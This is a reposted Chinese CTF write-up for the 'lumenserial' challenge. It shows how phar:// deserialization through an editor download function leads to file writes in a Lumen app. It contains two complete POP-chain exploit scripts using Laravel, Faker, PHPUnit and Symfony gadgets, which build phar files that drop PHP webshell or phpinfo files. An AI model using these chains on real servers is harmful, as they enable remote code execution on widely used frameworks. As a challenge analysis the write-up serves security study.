code-breaking lumenserial

栏目: PHP · 发布时间: 5年前

内容简介:在安全客看到了两篇文章查看路由

在安全客看到了两篇文章 PHP反序列化入门之寻找POP链(一)PHP反序列化入门之寻找POP链(二) ,之前没有来得及仔细看p牛出的这道lumenserial,所以这里跟着文章的思路审一下。

任意反序列化

查看路由

/routers/web.php

<?php
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\File\File;

$router->get('/', function (Request $request) use ($router) {
    return view('index');
});

$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');

跟进 EditorController ,download方法中 $url 未经过过滤直接传入 file_get_contents ,查看 $url 来源,如果我们可控,则我们可以利用phar://来任意反序列化。

private function download($url)
    {
        $maxSize = $this->config['catcherMaxSize'];
        $limitExtension = array_map(function ($ext) {
            return ltrim($ext, '.');
        }, $this->config['catcherAllowFiles']);
        $allowTypes = array_map(function ($ext) {
            return "image/{$ext}";
        }, $limitExtension);

        $content = file_get_contents($url);
        $img = getimagesizefromstring($content);

查看 $url 如何传入

function __construct()
    {
        $config_filename = app()->basePath('resources/editor/config.json');
        $this->config = json_decode(preg_replace("/\/\*[\s\S]+?\*\//", "", file_get_contents($config_filename)), true);
    }
    protected function doCatchimage(Request $request)
    {
        $sources = $request->input($this->config['catcherFieldName']);
        $rets = [];

        if ($sources) {
            foreach ($sources as $url) {
                $rets[] = $this->download($url);
            }
        }

        return response()->json([
            'state' => 'SUCCESS',
            'list' => $rets
        ]);
    }

$url$sources 获得, $sources 我们可控,查看 $this->config['catcherFieldName']

code-breaking lumenserial

因此只要请求一个 source 参数即可控制 $url ,接下来就是寻找popchain。

由于这里环境为 php 7.2.12,且 disable_function 过滤了各种危险函数。因此我们需要找到其他利用点,例如 call_user_func_array('file_put_contents',array('smi1e.php','123'))

POP Chain 1

首先要寻找寻找 __wakeup 或者 __destruct 。在phpggc 里面所有的Laravel/RCE 都是利用的 \Illuminate\Broadcasting\PendingBroadcast::__destruct()

<?php

namespace Illuminate\Broadcasting;

use Illuminate\Contracts\Events\Dispatcher;

class PendingBroadcast
{
    protected $events;
    protected $event;

    public function __construct(Dispatcher $events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }

    public function __destruct()
    {
        $this->events->dispatch($this->event);
    }
}

$event$event 可控,因此要么我们控制 $this->events 触发 __call 方法,要么寻找带有 dispatch 方法的类。

发现 /vender/fzaninotto/faker/src/Faker/ValidGenerator.php 中的 __call 方法比较好用。

class ValidGenerator
{
    protected $generator;
    protected $validator;
    protected $maxRetries;

    public function __construct(Generator $generator, $validator = null, $maxRetries = 10000)
    {
        if (is_null($validator)) {
            $validator = function () {
                return true;
            };
        } elseif (!is_callable($validator)) {
            throw new \InvalidArgumentException('valid() only accepts callables as first argument');
        }
        $this->generator = $generator;
        $this->validator = $validator;
        $this->maxRetries = $maxRetries;
    }
    public function __call($name, $arguments)
    {
        $i = 0;
        do {
            $res = call_user_func_array(array($this->generator, $name), $arguments);
            $i++;
            if ($i > $this->maxRetries) {
                throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
            }
        } while (!call_user_func($this->validator, $res));

        return $res;
    }
}

可以看到 call_user_func_array 的结果传入了 call_user_func ,而 $this->validator 我们可控,因此只要我们可以控制 call_user_func_array 的返回结果,则可以执行任意类的方法。

接下来就是找一个可以控制返回结果的类

/vender/fzaninotto/faker/src/Faker/DefaultGenerator.php

<?php

namespace Faker;
class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
    }

    public function __get($attribute)
    {
        return $this->default;
    }

    public function __call($method, $attributes)
    {
        return $this->default;
    }
}

现在 call_user_func($this->validator, $res) 两个参数都可控,但是执行 file_put_contents 需要两个参数,因此我们需要再找到一个类中有 call_user_func_array 函数,且参数可控的方法。

/phpunit/phpunit/src/MockObject/Stub/ReturnCallback.php

namespace PHPUnit\Framework\MockObject\Stub;

use PHPUnit\Framework\MockObject\Invocation;
use PHPUnit\Framework\MockObject\Stub;

class ReturnCallback implements Stub
{
    private $callback;

    public function __construct($callback)
    {
        $this->callback = $callback;
    }

    public function invoke(Invocation $invocation)
    {
        return \call_user_func_array($this->callback, $invocation->getParameters());
    }
.....
}

Invocation是一个接口,查找其实现的代码。

/phpunit/phpunit/src/MockObject/Invocation/Invocation.php

<?php
namespace PHPUnit\Framework\MockObject;

/**
 * Interface for invocations.
 */
interface Invocation
{
    /**
     * @return mixed mocked return value
     */
    public function generateReturnValue();

    public function getClassName(): string;

    public function getMethodName(): string;

    public function getParameters(): array;

    public function getReturnType(): string;

    public function isReturnTypeNullable(): bool;
}

/phpunit/phpunit/src/MockObject/Invocation/StaticInvocation.php

class StaticInvocation implements Invocation, SelfDescribing
{
    public function __construct($className, $methodName, array $parameters, $returnType, $cloneObjects = false)
    {
        $this->className  = $className;
        $this->methodName = $methodName;
        $this->parameters = $parameters;
    .....
    }
    public function getParameters(): array
    {
        return $this->parameters;
    }

$invocation->getParameters() 的返回值可控。因此我们可以完全控制 call_user_func_array($this->callback, $invocation->getParameters()) 中的参数。

exp

<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
    protected $events;
    protected $event;
    public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
}
};

namespace Faker{
class DefaultGenerator
{
    protected $default;
    public function __construct($default = null)
    {
        $this->default = $default;
    }
}

class ValidGenerator
{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    public function __construct($generator, $validator = null, $maxRetries = 10000)
    {
        $this->generator = $generator;
        $this->validator = $validator;
        $this->maxRetries = $maxRetries;
    }
}
};

namespace PHPUnit\Framework\MockObject\Stub{
class ReturnCallback
{
    private $callback;
    public function __construct($callback)
    {
        $this->callback = $callback;
    }
}
};

namespace PHPUnit\Framework\MockObject\Invocation{
class StaticInvocation
{
    private $parameters;
    public function __construct($parameters)
    {
        $this->parameters = $parameters;
    }
}
};

namespace{
    $function='file_put_contents';
    $parameters=array('/var/www/html/smi1e.php','<?php $_POST[\'1\'];?>');
    $invocation=new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($parameters);
    $return=new PHPUnit\Framework\MockObject\Stub\ReturnCallback($function);
    $default=new Faker\DefaultGenerator($invocation);
    $valid=new Faker\ValidGenerator($default,array($return,'invoke'),100);
    $obj=new Illuminate\Broadcasting\PendingBroadcast($valid,1);
    $o = $obj;
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
};

?>
code-breaking lumenserial

ps:这里 /var/www/html 目录无写权限,需要写到upload目录下。懒得改payload了,我进容器改了下权限,2333。

code-breaking lumenserial

POP Chain 2

这个链的核心是 /vender/fzaninotto/faker/src/Faker/Generator.php

class Generator
{
    protected $providers = array();
    protected $formatters = array();

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

}

call_user_func_array 可以看到 call_user_func_array 的两个参数完全可控,因此我们只要找到方法中存在形如 this->$object->$method($arg1,$arg2) 且4个参数均可控的地方,就可以利用这个 Generator 类的 __call 方法,最终执行 call_user_func_array('file_put_contents',array('1.php','123'))

/vendor/symfony/event-dispatcher/Debug/TracebleEventDispatcher.php 中的 dispatch 方法

class TraceableEventDispatcher implements TraceableEventDispatcherInterface
{
    public function dispatch($eventName, Event $event = null)
    {
        if (null === $event) {
            $event = new Event();
        }

        if (null !== $this->logger && $event->isPropagationStopped()) {
            $this->logger->debug(sprintf('The "%s" event is already stopped. No listeners have been called.', $eventName));
        }

        $this->preProcess($eventName);
......
    }

跟进preProcess方法

code-breaking lumenserial

可以看到这里有我们想要的 this->$object->$method($arg1,$arg2) ,且前三个参数都可控,第四个参数我们也可以想办法控制,但是跟进前面的 $this->getListenerPriority 会发现该方法也有我们想要的东西,这样就更好了。

code-breaking lumenserial

但前提是我们要绕过这个if条件,我们需要让 $this->dispatcher->hasListeners($eventName) 返回为True。

if (!$this->dispatcher->hasListeners($eventName)) {
            $this->orphanedEvents[] = $eventName;

            return;
        }

我们可以继续利用开头说到的这个POP链的核心类 /vender/fzaninotto/faker/src/Faker/Generator.php ,另 $formatters['hasListeners'] 等于一个能够把 $eventName 做为参数且返回True的函数即可,而 $eventName 其实是需要写的文件路径。因此用strlen函数即可。

继续跟进foreach条件,我们需要控制 $this->dispatcher->getListeners($eventName) 的返回结果进而才能控制 $listener ,搜索可利用的 getListeners 方法。

/vender/illuminate/events/Dispatcher.php

class Dispatcher implements DispatcherContract
{
    protected $listeners = [];

    public function getListeners($eventName)
    {
        $listeners = $this->listeners[$eventName] ?? [];

        $listeners = array_merge(
            $listeners,
            $this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName)
        );

        return class_exists($eventName, false)
                    ? $this->addInterfaceListeners($eventName, $listeners)
                    : $listeners;
    }
}

可以发现 $listeners 很容易被控制,从而我们可以控制返回结果。现在我们可以控制 $this->dispatcher->getListenerPriority($eventName, $listener) 所有参数,然后再次利用开头所说的核心类 /vender/fzaninotto/faker/src/Faker/Generator.php 执行 call_user_func_array($this->getFormatter($formatter), $arguments); ,参数完全可控,从而执行 call_user_func_array('file_put_contents',array('1.php','123'))

exp

<?php
namespace Illuminate\Events{
    class Dispatcher
    {
        protected $listeners = [];
        protected $wildcardsCache = [];

        public function __construct($parameter){
            $this->listeners[$parameter['filename']] = array($parameter['contents']);
        }
    }

};

namespace Faker{
    class Generator
    {
        protected $providers = array();
        protected $formatters = array();

        public function __construct($providers,$formatters){
            $this->formatters = $formatters;
            $this->providers = $providers;
        }
    }

};

namespace Symfony\Component\EventDispatcher\Debug{
    class TraceableEventDispatcher{
        private $dispatcher;

        public function __construct($dispatcher){
            $this->dispatcher = $dispatcher;
        }
    }
};

namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        protected $events;
        protected $event;

        public function __construct($events, $parameter){
        $this->events = $events;
        $this->event = $parameter['filename'];
    }
    }
};

namespace{
    $function='file_put_contents';
    $paramters=array('filename'=>'/var/www/html/upload/1.php','contents'=>'<? phpinfo();?>');

    $dispatcher = new Illuminate\Events\Dispatcher($paramters);
    $generator = new Faker\Generator([$dispatcher],['hasListeners'=>'strlen','getListenerPriority'=>$function]);
    $trace = new Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($generator);
    $obj =new Illuminate\Broadcasting\PendingBroadcast($trace,$paramters);
    $o = $obj;

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
};

?>

这次我直接写进了upload目录,没有更改容器权限。

code-breaking lumenserial

以上所述就是小编给大家介绍的《code-breaking lumenserial》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Cyberwar

Cyberwar

Kathleen Hall Jamieson / Oxford University Press / 2018-10-3 / USD 16.96

The question of how Donald Trump won the 2016 election looms over his presidency. In particular, were the 78,000 voters who gave him an Electoral College victory affected by the Russian trolls and hac......一起来看看 《Cyberwar》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

SHA 加密
SHA 加密

SHA 加密工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具